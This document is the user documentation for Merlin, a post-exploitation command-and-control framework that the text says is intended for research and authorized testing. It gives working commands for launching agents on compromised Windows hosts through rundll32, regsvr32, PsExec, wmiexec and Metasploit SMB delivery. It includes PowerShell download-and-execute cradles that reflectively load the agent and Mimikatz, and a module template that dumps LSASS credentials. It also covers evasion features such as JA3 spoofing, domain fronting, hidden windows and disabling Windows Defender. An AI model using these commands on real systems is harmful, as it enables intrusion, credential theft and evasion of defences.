Merlin Command and Control framework¶

Merlin is a post-exploit Command & Control (C2) tool, also known as a Remote Access Tool (RAT), that communicates using the HTTP/1.1, HTTP/2, and HTTP/3 protocols. HTTP/3 is the combination of HTTP/2 over the Quick UDP Internet Connections (QUIC) protocol. This tool was the result of my work evaluating HTTP/2 in a paper titled Practical Approach to Detecting and Preventing Web Application Attacks over HTTP/2. Merlin is also my first attempts at learning Golang.
This tool is intended to be used during research and authorized testing.
Merlin Server¶
The quickest and recommended way is to download Merlin Server from the releases page for your host operating system (i.e Windows, macOS, or Linux).
Ubuntu Server 18.04¶
The following single line of code can be used to download, extract, and run Merlin Server on an Ubuntu Server:
sudo bash;apt update;apt install p7zip-full -y;cd /opt;wget https://github.com/Ne0nd0g/merlin/releases/latest/download/merlinServer-Linux-x64.7z;7z x -pmerlin -omerlin merlinServer-Linux-x64.7z;cd merlin;./merlinServer-Linux-x64
If you’re using 7zip from the command line, but sure to use the x
flag so that the files are extracted into their respective directories.
The Merlin Server file download includes the compiled agents for all 3 major platforms in the data/bin/
directory
Visit the Merlin Agent quick start to launch an agent.
Merlin Agent¶
Merlin is a post-exploitation framework and therefore documentation doesn’t cover any of the steps required to get to a point where you can execute code or commands on a compromised host. Exploiting or accessing a host must performed prior to leveraging Merlin.
data/bin/
directory of MerlinUpload & Execute¶
One of the more simple ways to run Merlin is by uploading the compiled binary file to a compromised host and then execute that binary.
-url
flag. Default is https://127.0.0.1:443/Windows Local Command Execution¶
This section covers executing the Merlin agent with local command execution.
Windows EXE - cmd.exe¶
With the merlinAgent.exe binary file already downloaded on to the compromised host, execute it by calling it from the command line. Double clicking the executable file will cause the agent to run without a window, so you will not see anything, and it will connect to the default URL of https://127.0.0.1:443/. This can be changed by recompiling the agent with the hardcoded address of your Merlin server.
cmd.exe example:
C:\Users\Bob\Downloads>merlinAgent.exe -url https://192.168.1.100:443/
Windows DLL - rundll32.exe¶
With the merlin.dll binary file already downloaded on to the compromised host, execute it by calling it from the command line using the rundll32.exe program that comes with Windows. Run is the name of the DLL entrypoint called when the DLL is executed. Provide the URL for your listening Merlin server after the entrypoint.
rundll32.exe example:
C:\Users\Bob\Downloads>C:\WINDOWS\System32\rundll32.exe merlin.dll,Run https://192.168.1.100:443/
Windows Remote Command Execution¶
This section covers executing Merlin agent when remotely accessing a host.
Windows EXE - PsExec.exe¶
The Microsoft Sysinternals PsExec.exe application can be used to connect to a remote host, upload the Merlin agent file, and execute it. The downside to this is the Merlin agent binary file is “on disk” and provides an opportunity for Anti-Virus software to detect the application. Use PsExec’s -c flag to specify the location of the Merlin agent file on the attacker’s host that will be uploaded to the remote host. The PsExec -d flag is required so that control is returned to the user after executing the Merlin agent file.
PsExec.exe example:
PS C:\SysinternalsSuite>.\PsExec.exe \\192.168.1.10 -u bob -p password -d -c C:\merlin\data\bin\windows\merlinAgent.exe -url https://192.168.1.100:443/
Windows DLL - Metasploit’s SMB Delivery¶
One method for delivery is to use an SMB server to host the payload and execute a command on the remote host to download and run the Merlin agent file. The Metasploit windows/smb/smb_delivery module is a good way to quickly stand up an SMB server for delivering the payload.
Setup the windows/smb/smb_delivery
module:
msf > use windows/smb/smb_delivery
msf exploit(windows/smb/smb_delivery) > set FILE_NAME merlin.dll
FILE_NAME => merlin.dll
msf exploit(windows/smb/smb_delivery) > set EXE::Custom /opt/merlin.dll
EXE::Custom => /opt/merlin/data/bin/dll/merlin.dll
msf exploit(windows/smb/smb_delivery) > set DisablePayloadHandler true
DisablePayloadHandler => true
msf exploit(windows/smb/smb_delivery) > set VERBOSE true
VERBOSE => true
msf exploit(windows/smb/smb_delivery) > run
[*] Exploit running as background job 0.
msf exploit(windows/smb/smb_delivery) >
[*] Server started.
[*] Run the following command on the target machine:
[*] Using custom payload /opt/merlin.dll, RHOST and RPORT settings will be ignored!
rundll32.exe \\192.168.1.100\WxlV\merlin.dll,0
Now that the SMB server is setup to deliver the merlin.dll file, we need to remotely access the target host and execute the command. By default, Metasploit sets the entry point to 0. We need to modify the command to change the entry point to Run and specify the location of our listening Merlin server. Impacket’s wmiexec.py Python program is one way to remotely access a host.
wmiexec.py example:
root@kali:/opt/impacket/examples# python wmiexec.py bob:password@192.168.1.10
Impacket v0.9.15 - Copyright 2002-2016 Core Security Technologies
[*] SMBv2.1 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
C:\>rundll32.exe \\192.168.1.100\WxlV\merlin.dll,Run https://192.168.1.100:443/
Advanced¶
The quick start examples above executed the Merlin agent and allowed the user to dynamically specify the location of the listening Merlin server with a command line parameter. There are a few instances where we the user is unable to specify, or simply don’t want to, the URL for the listening Merlin server. In this case, the Merlin agent binary should be recompiled with a hardcoded URL of the listening Merlin server so that it does not need to be specified by the user during execution. Do not continue on unless you are OK to deal with things that sometimes work and often have bugs and are not reliable.
Recompile DLL¶
The merlin.dll file can be configured with the hardcoded url of your Merlin server. To do this, clone the repo, modify the file, and recompile it.
- Clone the merlin repository using git
- Edit the file at cmd/merlinagentdll/main.go
- Find the string var url = “https://127.0.0.1:443/” and change the address
- Compile the DLL
example:
cd /opt
git clone -b dev https://github.com/Ne0nd0g/merlin.git
cd merlin
sed -i 's_https://127.0.0.1:443/_https://192.168.1.100:443/_' cmd/merlinagentdll/main.go
make agent-dll
This will leave the merlin.dll in the data/temp/v0.5.0/ directory where v0.5.0 is the current version number of Merlin. Now the recompdiled version of the DLL can be run without having to specify the address of the Merlin server.
rundll32.exe examples:
rundll32.exe merlin,main
rundll32.exe merlin,Run
regsvr32.exe examples:
regsvr32.exe /s merlin.dll
regsvr32.exe /s /u merlin.dll
regsvr32.exe /s /n /i merlin.dll
PowerShell - Invoke-Merlin.ps1¶
The Invoke-Merlin.ps1
PowerShell script can be found in the data/bin/powershell
directory. This script leverages the work done by the PowerSploit team to reflectively load merlin.dll into memory. View the README for additional details. By default, Invoke-Merlin connects to https://127.0.0.1:443/. At the time of this writing, I have not found a way to provide an argument of the listening Merlin server’s address when calling the DLL. Therefore, this requires recompiling the DLL with the hardcoded address of the listening Merlin server as shown in the Recompile DLL section above. The Invoke-Merlin.ps1 script needs to be updated with the Base64 encoded version of the new recompiled merlin.dll file. The quickest way to update Invoke-Merlin.ps1 is to use the set commands below from a PowerShell terminal.
- Read the DLL into a variable:
$PEBytes = [IO.File]::ReadAllBytes('C:/Go/src/Ne0nd0g/merlin/data/bin/dll/merlin.dll')
Base64 encode the DLL and save it in another variable:
$Base64String = [System.Convert]::ToBase64String($PEBytes)
Update the existing Invoke-Merlin.ps1 script with the Base64 encoded version of the newly compiled DLL:
(Get-Content data/bin/powershell/Invoke-Merlin.ps1) | foreach-object {$_ -replace '^\$global\:merlin \= (.*)', ('$global:merlin = ' + "'" + $Base64String + "'")} | Set-Content data/bin/powershell/Invoke-Merlin.ps1
Now the Invoke-Merlin script is ready to be downloaded and executed. Fair warning, the script can be extremely executing the call back to the listening Merlin server. Give it a couple of minutes before rage quitting. Additionally, the -ForceASLR flag for Invoke-Merlin.ps1 is required to circumvent other errors that arise when executing the script. Host the Invoke-Merlin.ps1 script on any web server and use a PowerShell download cradel to execute it on the remote host.
Python’s SimpleHTTPServer module can be used to quickly host the file. Move into the directory where you have a copy of the updated Invoke-Merlin.ps1 script and run the Python module.
python SimpleHTTPServer example:
python -m SimpleHTTPServer 80
Now the script can be downloaded and executed on a remote host using a tool like Impacket’s wmiexec.py.
wmiexec.py example:
root@kali:/opt/impacket/examples# python wmiexec.py bob:password@192.168.1.92 "powershell -c IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.100/Invoke-Merlin.ps1');Invoke-Merlin -ForceASLR"
Impacket v0.9.15 - Copyright 2002-2016 Core Security Technologies
[*] SMBv2.1 dialect used
^C[-]
root@kali:/opt/impacket/examples#
FAQ¶
Frequently Asked Questions
When I double click the pre-compiled Windows agent binary, nothing happens.¶
The pre-compiled Merlin Agent for Windows is compiled with an option that prevents the program from showing. Double clicking the merlinAgent-Windows-x64.exe
file will launch the agent and it will connect to the hard coded URL (default is https://127.0.0.1:443/
). The agent will eventually die once it fails to contact the server. Options include recompiling merlinAgent with the hard coded URL of your server or running it from the command line using the -url
flag to specify your server. View the Custom Build page for details on building and compiling the agent from source. Additionally, the agent can be compiled without the -H=windowsgui
so that it doesn’t disappear when executed by double clicking the file.
I get errors when trying to compile Merlin.¶
The biggest contributor I see for getting errors while compiling is forgetting to ensure the GOPATH environment variable is set. View the Custom Build page for details on ensuring the environment is configured properly.
Input and output redirection pipes don’t work¶
Pipes |
and redirectors <
and >
are functions of a shell. By default, Merlin only executes programs in the host’s PATH variable. In order to use pipes and redirection, you must first specify the shell (i.e /bin/bash
) so that you can use these.
When running a Merlin agent on a Linux host, use the -c
flag with the shell to effectively change directories and perform some action in that directory. Because Merlin spawns a process for every command, the shell is not persistent or interactive. This request the operator to combine multiple commands together so that they are all in the same context/environment.
Example:
Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]»shell /bin/sh -c "ls -l > /tmp/out.txt"
Command Line Flags¶
The following command line flags can be used when executing Merlin agent:
Merlin Agent
-debug
Enable debug output
-host string
HTTP Host header
-ja3 string
JA3 signature string (not the MD5 hash). Overrides -proto flag
-proto string
Protocol for the agent to connect with [https (HTTP/1.1), http (HTTP/1.1 Clear-Text), h2 (HTTP/2), h2c (HTTP/2 Clear-Text), http3 (QUIC or HTTP/3.0)] (default "h2")
-proxy string
Hardcoded proxy to use for http/1.1 traffic only that will override host configuration
-psk string
Pre-Shared Key used to encrypt initial communications (default "merlin")
-sleep duration
Time for agent to sleep (default 30s)
-url string
Full URL for agent to connect to (default "https://127.0.0.1:443")
-v Enable verbose output
-version
Print the agent version and exit
Debug¶
By default, the Merlin Agent will not write anything to STDOUT while it is running. The -debug
flag enables debug output and facilitates troubleshooting to identify the source of a problem.
Host¶
The -host
flag is used to specify the HTTP Host: header when communicating with the server. This feature is predominately used for Domain Fronting.
JA3¶
JA3 is a method for fingerprinting TLS clients on the wire. Every TLS client has a unique signature depending on its configuration of the following TLS options: SSLVersion,Ciphers,Extensions,EllipticCurves,EllipticCurvePointFormats
.
The -ja3
flag allows the agent to create a TLS client based on the provided JA3 hash signature. This is useful to evade detections based on a JA3 hash for a known tool (i.e. Merlin). This article documents a JA3 fingerprint for Merlin. Known JA3 signatures can be downloaded from https://ja3er.com/
NOTE: Make sure the input JA3 hash will enable communications with the Server. For example, if you leverage a JA3 hash that only supports SSLv2 and the server does not support that protocol, then they will not be able to communicate. The -ja3
flag will override the the -proto
flag and will cause the agent to use the protocol provided in the JA3 hash.
Proto¶
The -proto
flag specifies what protocol the Merlin Agent will use to communicate with the server
The http
protocol communicates using the clear-text HTTP/1.1 protocol. This can be useful when leveraging Domain Fronting on a CDN that does not allow both fronting and TLS encrypted traffic.
The https
protocol communicates using SSL/TLS encrypted HTTP/1.1 protocol.
The h2c
protocol communicates using the clear-text HTTP/2 protocol. This clear-text version is not used by web browsers like Chrome and may stand out during traffic analysis. However, it also has the potential to evade detections if allowed out of the network and no network defenses are able to parse the traffic.
The h2
protocol communicates using the TLS encrypted HTTP/2 protocol. This will start the connection with prior knowledge and will not negotiate from HTTP/1.1 to HTTP/2. Some web proxies will not allow HTTP/2 communications. In this case you should use https
. Alternatively, the HTTP/2 protocol might bypass network defenses or detections.
The http3
protocol communicates using HTTP/2 transported over QUIC known as HTTP/3. It is important to note that QUIC is a UDP protocol and may not be allowed of the network depending on egress filtering. QUIC uses TLS transport encryption.
Proxy¶
The -proxy
flag is used to force HTTP/1.1 communications to go through a known proxy. At this time the Merlin Agent WILL NOT automatically detect if a host is configured to use a proxy. The HTTP/2 protocol does not support using a proxy. If a proxy is required to egress a network, use the http
or https
protocols.
PSK¶
The -psk
flag is used to specify the Pre-Shared Key (PSK) that the Merlin Agent uses to initiate communication with the Merlin Server. The first message is encrypted with the PSK and subsequent messages establish a new session based encryption key using the OPAQUE protocol from this IETF draft. Additional information about OPAQUE can be found here: Merlin Goes OPAQUE for Key Exchange.
Sleep¶
The -sleep
flag is used to specify how long the agent will sleep between checkin attempts. NOTE: You must include the unit of measurement after the number. For example, 30s
is for thirty seconds and 1m
is for one minute.
URL¶
The -url
flag is used to specify the Uniformed Resource Locator (URL) that the agent will attempt to communicate with. Include the protocol (i.e. https
), the host (i.e. 127.0.0.1
), the page (i.e /
or /news.php
), and optionally port (i.e. :443
). This will result in https://127.0.0.1:443/
. NOTE: By default the Merlin agent will communicate on the loopback adapter.
Verbose¶
The -v
flag enables verbose output. By default a running Merlin Agent will not write any information to STDOUT. This can be used to see what the agent is doing along with what commands it is receiving.
Version¶
The -version
flag will print the Agent version to the screen and then exit.
DLL Agent¶
Merlin can be compiled into a DLL. The data/bin/dll/merlin.c
file is a very simple C file with a single function. The VoidFunc
and Run
functions are exported to facilitate executing the DLL.
The VoidFunc
function name was specifically chosen to facilitate use with PowerSploit’s
Invoke-ReflectivePEInjection.ps1.
Using VoidFunc
requires no modification to run Merlin’s DLL with Invoke-ReflectivePEInjection.
If the DLL is compiled on Windows, the TDM-GCC 64bit compiler has proven to work well during testing.
If the DLL is compiled on Linux, ensure MinGW-w64
is installed.
Creating the DLL¶
The DLL can be created using the Make file with make agent-dll
Alternatively, it can be compiled without Make by following these steps:
- Create the required C archive file:
cd data/bin/dll;go build -buildmode=c-archive ../../../cmd/merlinagentdll/main.go
- Compile the DLL
gcc -shared -pthread -o merlin.dll merlin.c main.a -lwinmm -lntdll -lws2_32
You will now have DLL file that you can use with whatever method of execution you would like.
DLL Entry Points¶
This table catalogs the exported functions for merlin.dll
that can be used as an entry point when executing the DLL.
Exported Function | Status | Notes |
---|---|---|
Run | Working | Main function to execute Merlin agent |
DllInstall | Partial | Used with regsvr32.exe /i . Handling for /i not implemented |
DllRegisterServer | Working | Used with regsvr32.exe |
DllUnregisterServer | Working | Used with regsvr32.exe /u |
ReflectiveLoader | Removed | Used with Metasploit’s windows/manage/reflective_dll_inject module |
Magic | Working | Exported function in merlin.c ; used with sRDI or any other method |
Merlin | Working | Exported function in main.go |
VoidFunc | Working | Used with PowerSploit’s Invoke-ReflectivePEInjection.ps1 |
Execution with rundll32.exe¶
The DLL can be executed on a Windows host using the rundll32.exe program. Examples of using rundll32
are:
rundll32 merlin.dll,Run
rundll32 merlin.dll,Merlin
rundll32 merlin.dll,Magic
A different Merlin server can be provided when executing the DLL by supplying the target URL as an argument. An example is:
rundll32 merlin.dll,Run https://yourdomian.com:443/
NOTE: Passing a custom URL only works when using cmd.exe and fails when using powershell.exe
Invoke-Merlin¶
The compiled DLL can be inserted into the Invoke-Merlin.ps1
script.
Check the [README](../powershell/README.MD) in the powershell directory for
additional details.
Limitations¶
It is important to note that the DLL is currently in the
Proof-of-Concept stage. Because of this, there is no way to provide a
different Merlin server URL when calling Invoke-Merlin
.
Invoke-Merlin
will only call back to the Merlin server at
127.0.0.1. because that is the hard coded value. Future work will
facilitate specifying the value at compile time or when executing the
script. Work is in progress to overcome this issue.
One option to overcome this is to hard-code in the target Merlin server
address into the url
variable of the cmd/merlinagent/main.go
prior
to creating the C archive file.
PowerShell¶
Invoke-Merlin¶
This is a PowerShell script based on the work by Joe Bialek
(@JosephBialek) and Matt Graeber (@mattifestation) for
PowerSploit’s Invoke-ReflectivePEInjection.ps1
used to reflectively load Merlin into memory. The script contains a
Base64 encoded version of merlin.dll
.
An example of running the script from GitHub is:
IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/Ne0nd0g/merlin/master/data/bin/dll/Invoke-Merlin.ps1');Invoke-Merlin
An example of running the script locally, using dot sourcing to read the script in, is:
. C:\Invoke-Merlin.ps1;Invoke-Merlin
NOTE: Invoke-Merlin works on Windows 7 but fails on Windows 10
NOTE: PowerShell is only used to load the DLL, the agent itself is not written in PowerShell
Limitations¶
It is important to note that the script is currently in the Proof-of-Concept stage and will call back to the Merlin server at 127.0.0.1. Future work will facilitate specifying the server URL value when executing the script.
One option to overcome this is to hard-code in the target Merlin server
address into the url
variable of the cmd/merlinagent/main.go
prior
to creating the DLL.
Invoke-ReflectivePEInjection¶
All of the normal Invoke-ReflectivePEInjection.ps1 script is still in
place and allows the user to additionally leverage any of the scripts
original functionality. The only significant change is that the
-PEBytes
parameter is not required and will default to merlin.dll.
Update DLL¶
The following steps can be used to update the DLL in the script using PowerShell:
$PEBytes = [IO.File]::ReadAllBytes('C:/Go/src/Ne0nd0g/merlin/data/bin/dll/merlin.dll')
$Base64String = [System.Convert]::ToBase64String($PEBytes)
(Get-Content data/bin/powershell/Invoke-Merlin.ps1) | foreach-object {$_ -replace '^\$global\:merlin \= (.*)', ('$global:merlin = ' + "'" + $Base64String + "'")} | Set-Content data/bin/powershell/Invoke-Merlin.ps1
Custom Build¶
This section details how to build custom build a Merlin Agent using the Make file.
NOTE: Merlin is distributed with pre-compiled agent binaries for all major platforms in the data/bin
directory.
Basic¶
The provided Make file can be used to build a new agent from source. It is recommended that you first use
go get github.com/Ne0nd0g/Merlin
to pull a copy of the Merlin source code to the host. Move into the Merlin root
directory where the Make file is located.
- Windows agent:
make agent-windows
- Linux agent:
make agent-linux
- macOS agent:
make agent-darwin
- Windows DLL:
make agent-dll
- MIPS agent:
make agent-mips
- ARM agent:
make agent-arm
Advanced¶
Use the provided Make file to build a Merlin Agent with hard coded values. This removes the need for an operator to use commandline arguments and allows the Agent to simply be executed. The table below shows configurable compile options
Option | Description | Notes |
---|---|---|
URL | Full URL for agent to connect to (default “https://127.0.0.1:443”) | same as the -url commandline flag |
PSK | Pre-Shared Key used to encrypt initial communications (default “merlin”) | same as -psk commandline flag |
PROXY | Hardcoded proxy to use for http/1.1 traffic only that will override host configuration | same as -proxy commandline flag |
HOST | HTTP Host header | same as -host commandline flag |
PROTO | Protocol for the agent to connect with [https (HTTP/1.1), http (HTTP/1.1 Clear-Text), h2 (HTTP/2), h2c (HTTP/2 Clear-Text), http3 (QUIC or HTTP/3.0)] (default ‘h2’) | same as -proto commandline flag |
JA3 | JA3 signature string (not the MD5 hash). Overrides -proto flag | same as -ja3 commandline flag |
An example of creating a new Linux HTTP agent that is using domain fronting through https://merlin.com/c2endpoint.php
using a PSK of SecurePassword1
:
make agent-linux URL=https://merlin.com:443/c2endpoint.php HOST=myendpoint.azureedge.net PROTO=https PSK=SecurePassword1
Windows Agent¶
The Windows Merlin Agent executable is compiled as a GUI application instead of console application. The Merlin Agent
does not have a GUI component. The reason this is used is so that the Merlin Agent window disappears after it is executed.
This behavior is intentional so that the user will not see the application window. This is done with the LDFLAGS when
building the agent using the -H=windowsgui
option as shown here
This causes problems when a user WANTS to see the Merlin Agent verbose or debug output. To view Merlin verbose/debug
output, recompile the agent after removing -H=windowsgui
from the Make file. Alternatively, compile the Windows
agent with: go build -o Merlin.exe cmd/merlinagent/main.go
.
Cross-Compiling¶
The Merlin agent and server can be cross-compiled to any operating system or architecture. A list of golang supported operating systems and architectures can be found here: https://golang.org/doc/install/source#environment
$GOOS | $GOARCH |
---|---|
android | arm |
darwin | 386 |
darwin | amd64 |
darwin | arm |
darwin | arm64 |
dragonfly | amd64 |
freebsd | 386 |
freebsd | amd64 |
freebsd | arm |
linux | 386 |
linux | amd64 |
linux | arm |
linux | arm64 |
linux | ppc64 |
linux | ppc64le |
linux | mips |
linux | mipsle |
linux | mips64 |
linux | mips64le |
netbsd | 386 |
netbsd | amd64 |
netbsd | arm |
openbsd | 386 |
openbsd | amd64 |
openbsd | arm |
plan9 | 386 |
plan9 | amd64 |
solaris | amd64 |
windows | 386 |
windows | amd64 |
Mobile¶
- The gomobile library can be used to compile for Android and iOS:
- https://godoc.org/golang.org/x/mobile/cmd/gomobile
These instructions can be followed to compile for Android
- Install Android SDK: https://developer.android.com/ndk/guides/index.html
- Install gomobile:
go get golang.org/x/mobile/cmd/gomobile
- Initialize gomobile:
bin\gomobile init -ndk=C:\Users\[username]\AppData\Local\Android\Sdk\ndk-bundle
- Build the APK:
bin\gomobile build -target=android merlinagent
TLS Certificates¶
WARNING: You should generate and use a TLS certificate signed by a trusted Certificate Authority
Versions later than 0.6.8.BETA
will automatically generate a new UNTRUSTED and self-signed certificate when the server is started if a TLS certificate and TLS key are not provided.
To facilitate ease of use, a TLS X.509 private and public certificate is distributed with Merlin for versions less than 0.6.8.BETA
. This allowed a user to start using Merlin right away. However, this key is widely distributed and is considered public knowledge. You should generate your own certificates and replace the default certificates that ship with Merlin. The default location for the certificates is the data/x509
directory. The openssl
command can be used from a Linux system to generate a key pair.
The following message is presented to alert the user that the distributed testing public key is in use:
Merlin» [!] Insecure publicly distributed Merlin x.509 testing certificate in use for https server on 127.0.0.1:443
Building Modules¶
Modules are used to perform a set of pre-defined actions or execute a program on an agent. The modules are described using JavaScript Object Notation (JSON). Modules will be stored in platform/arch/language/type
directories. Every module must have the base
object and may have additional objects. Examples of the module structures can be found in the data/modules/templates
directory. All keys used when describing a module will be lowercase (i.e. name and NOT Name).
Base¶
The base
module is required and is the lowest level of describing a module and its function.
Name | Type | Description | Example |
---|---|---|---|
type | string | standard or extended |
“type”: “standard” |
name | string | The name of the module | “name”: “MyModuleName” |
author | array of strings | A list of the module’s authors | “author”: [“Russel Van Tuyl (@Ne0ndog)”] |
credits | array of strings | A list of authors to credit original work leveraged in the module | “credits”: [“Joe Bialek (@JosephBialek)”, “Benjamin Delpy (@gentilkiwi)”] |
path | array of strings | The file path to the module | “path”: [“C”, “windows”, “system32”] |
platform | string | The target platform the module can run on | “platform”: “linux” |
arch | string | The target architecture the module can run on | “arch”: “x64” |
lang | string | The target language the module leverages | “lang”: “powershell” or “lang”: “bash” |
privilege | bool | Does the module require elevated privileges? | “privilege”: true |
notes | string | Miscellaneous notes about the module | “notes”: “This module doesn’t work well on Ubuntu 14.04” |
remote | string | The remote path where the script associated with the module can be found | “remote”: “https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1” |
local | array of strings | The local file system path where the script associated with the module can be found | “local”: [“data”, “src”, “PowerSploit”, “Exfiltration”, “Invoke-Mimikatz.ps1”] |
options | array of objects | The configurable options for the module | “options”: [{“name”: “DumpCreds”, “value”: “true”, “required”: false, “description”:”[Switch]Use mimikatz to dump credentials out of LSASS.”}] |
description | string | A description of the module and its function | “description”: “this script leverages Mimikatz 2.0 and Invoke-ReflectivePEInjection to reflectively load Mimikatz completely in memory.” |
commands | array of strings | A list of the commands to be executed on the host when running the script | “commands”: [“powershell.exe”, “-nop”, “-w”, “0”, “\”IEX (New-Object Net.WebClient).DownloadString(‘https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1’);”,”Invoke-Mimikatz”, “{{DumpCreds.Flag}}”, “{{DumpCerts.Flag}}”, “{{Command}}”, “{{ComputerName}}”,”\”“] |
Full Example:
{
"base": {
"type": "standard",
"name": "Invoke-Mimikatz",
"author": ["Russel Van Tuyl (@Ne0nd0g)"],
"credits": ["Joe Bialek (@JosephBialek)", "Benjamin Delpy (@gentilkiwi)"],
"path": ["windows", "x64", "powershell", "powersploit", "Invoke-Mimikatz.json"],
"platform": "windows",
"arch": "x64",
"lang": "PowerShell",
"privilege": true,
"notes": "This is part of the PowerSploit project https://github.com/PowerShellMafia/PowerSploit",
"remote": "https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1",
"local": ["data", "src", "PowerSploit", "Exfiltration", "Invoke-Mimikatz.ps1"],
"options": [
{"name": "DumpCreds", "value": "true", "required": false, "flag": "-DumpCreds", "description":"[Switch]Use mimikatz to dump credentials out of LSASS."},
{"name": "DumpCerts", "value": null, "required": false, "flag": "-DumpCerts", "description":"[Switch]Use mimikatz to export all private certificates (even if they are marked non-exportable)."},
{"name": "Command", "value": null, "required": false, "flag": "-Command", "description":"Supply mimikatz a custom command line. This works exactly the same as running the mimikatz executable like this: mimikatz \"privilege::debug exit\" as an example."},
{"name": "ComputerName", "value": null, "required": false, "flag": "-ComputerName", "description":"Optional, an array of computernames to run the script on."}
],
"description": "This script leverages Mimikatz 2.0 and Invoke-ReflectivePEInjection to reflectively load Mimikatz completely in memory. This allows you to do things such as dump credentials without ever writing the mimikatz binary to disk. The script has a ComputerName parameter which allows it to be executed against multiple computers. This script should be able to dump credentials from any version of Windows through Windows 8.1 that has PowerShell v2 or higher installed.",
"commands": [
"powershell.exe",
"-nop",
"-w 0",
"\"IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1');",
"Invoke-Mimikatz",
"{{DumpCreds.Flag}}",
"{{DumpCerts.Flag}}",
"{{Command}}",
"{{ComputerName}}",
"\""
]
},
"powershell": {
"disableav": true,
"obfuscate": false,
"base64": false
}
}
Type¶
Modules can be either standard
or extended
.
A STANDARD module does not leverage any Go packages or functions
from the pkg/modules directory. Standard modules are best used to run a single command, or a series of commands, that
leverage functionality and programs on the host where the agent is running. The
data/modules/linux/x64/bash/exec/bash.json
module is a standard module that takes a Command
argument that is
subsequently run in bash -c {{Command}}
. This could be useful to abstract out command line arguments with easy to set
options or to run a single command across all agents using set Agent all
while in the module’s prompt.
An EXTENDED module DOES leverage code from an associated package pkg/modules
. The sRDI module
at data/modules/windows/x64/go/exec/sRDI.json
is an example of an extended module that uses exported functions from
the srdi package at pkg/modules/srdi/srdi.go
. This extended module reads in a Windows DLL and returns shellcode that
will be executed on the agent. The extended function’s code must be located in pkg/modules/<function>
.
The extended function’s code must expose a Parse()
function that returns an array of strings that contain commands for
the agent to interpret. Extended function must be programmed into the getExtendedCommand()
function in modules.go
and point to the module’s exported Parse()
function.
Remote vs Local¶
When the module leverages a script, it can be accessed with either the local
or remote
values of the base module. The local
specifies the file path on the server where the script can be found. Merlin DOES NOT ship with scripts. However, they should be copied to the data/source
directory using something like Git. For example, you move into the data/source
direct and do a git clone https://github.com/PowerShellMafia/PowerSploit.git
. When the local
source is used, the script is uploaded to the target from the server. When the remote
source is used, the script is downloaded from that location to the target.
Options¶
The options
uses a special data type that requires five parts.
{
"options": [
{"name": "host", "value": "google.com", "required": true, "flag": "", "description": "The host to ping"},
{"name": "count", "value": "3", "required": false, "flag": "-c", "description": "Stop after sending count ECHO_REQUEST packets."},
{"name": "help", "value": "true", "required": false, "flag": "-h", "description": "Show help."}
]
}
Name | Type | Description | Example |
---|---|---|---|
name | string | The name of the option | “name”: “ComputerName” |
value | string | The configured value for the option | “value”: “127.0.0.1” |
required | bool | Is this option required? | “required”: false |
flag | string | The command line flag for the option | “flag”: “-ComputerName” |
description | string | A short description of the option | “description”: “The target computer name to run the script on” |
Name¶
This is the name of the option that can be set by a user. This value is used as a variable in the commands
section of the module file. The name is case sensitive (Name
!= name
!= NAME
). An example option object looks like:
{"name": "count", "value": "3", "required": false, "flag": "-c", "description": "Stop after sending count ECHO_REQUEST packets."}
An example of setting the count
option is:
Merlin[module][TEST]» set count 5
[+]count set to 5
Merlin[module][TEST]»
Using just the option’s name within double curly braces will return both the flag and value. For example {{count}}
would be parsed and replaced with -c 3
. The flag
and value
properties can be accessed individually if needed with {{count.Flag}}
and {{count.Value}}
.
Value¶
This is the value that the options has been set to. The value can be directly accessed in the commands
section by
using .Value
after option’s name. This is ideal for positional arguments that do not have a flag or specify an
application executable file name. An example option object that uses the value
property is:
{"name": "host", "value": "google.com", "required": true, "flag": "", "description": "The host to ping"}
For example {{host.Value}}
would be parsed and replaced with just the value of the host
option (google.com
).
If an option’s value is empty, it will not be ignored and not parsed.
Flag¶
The flag
property is used to specify what the notation is for a specific argument when executing a command.
The name
property can be used in conjunction with the flag
property when the flag is not descriptive enough to make
sense. A command line flag could start with a variety of options like -
, --
, or /
. An example option object that
uses a flag
property is:
{"name": "help", "value": "true", "required": false, "flag": "-h", "description": "Show help."}
Some applications use a flag with no value after it. A common example of this -h
to view an application’s help
information. A flag, WITHOUT its value can be accessed in the commands
section with .Flag
. For example
{{help.Flag}}
would be parsed and replaced with just -h
. If you want to only use the flag, and not its value, then
you must set its value to true
. Using just the option’s name within double curly braces
will return both the flag and value. For example {{help}}
would be parsed and replaced with -h true
.
Commands¶
The commands
section of the module is used to provide the commands that are going to be executed on the host. The array should consist of every command in its own list item. You do not need to account for spaces. This is automatically done when the command is executed on the host.
You specify the location of an option by using double curly brace and the option’s name. This will be parsed and replaced with both the value
and flag
values from the option’s list entry. The option’s flag and value can be accessed individually. An example command
section looks like:
{
"options": [
{"name": "host", "value": "google.com", "required": true, "flag": "", "description": "The host to ping"},
{"name": "count", "value": "3", "required": false, "flag": "-c", "description": "Stop after sending count ECHO_REQUEST packets."},
{"name": "help", "value": "", "required": false, "flag": "-h", "description": "Show help."}
],
"commands": [
"/bin/ping",
"{{count}}",
"{{host.Value}}"
]
}
This would get parsed as /bin/ping -c 3 google.com
If an option’s value is not set, it will be ignored. An example of accessing only an option’s flag while ignoring everything else is:
{
"options": [
{"name": "host", "value": "", "required": false, "flag": "", "description": "The host to ping"},
{"name": "count", "value": "", "required": false, "flag": "-c", "description": "Stop after sending count ECHO_REQUEST packets."},
{"name": "help", "value": "true", "required": false, "flag": "-h", "description": "Show help."}
],
"commands": [
"/bin/ping",
"{{help.Flag}}"
"{{count}}",
"{{host.Value}}"
]
}
This would get parsed as /bin/ping -h
Powershell¶
The powershell
module is used to provide additional configuration options that pertain to PowerShell commands. Support for this module type is currently lacking. At this time is being used as placeholder for future development.
Name | Type | Description | Example |
---|---|---|---|
disableav | bool | Should Windows Defender be disabled prior to running the command? | “disableav” : true |
obfuscate | bool | Should the PowerShell command be obfuscated? | “obfuscate”: false |
base64 | bool | Should the command be Base64 encoded? | “base64”: true |
Blog Posts¶
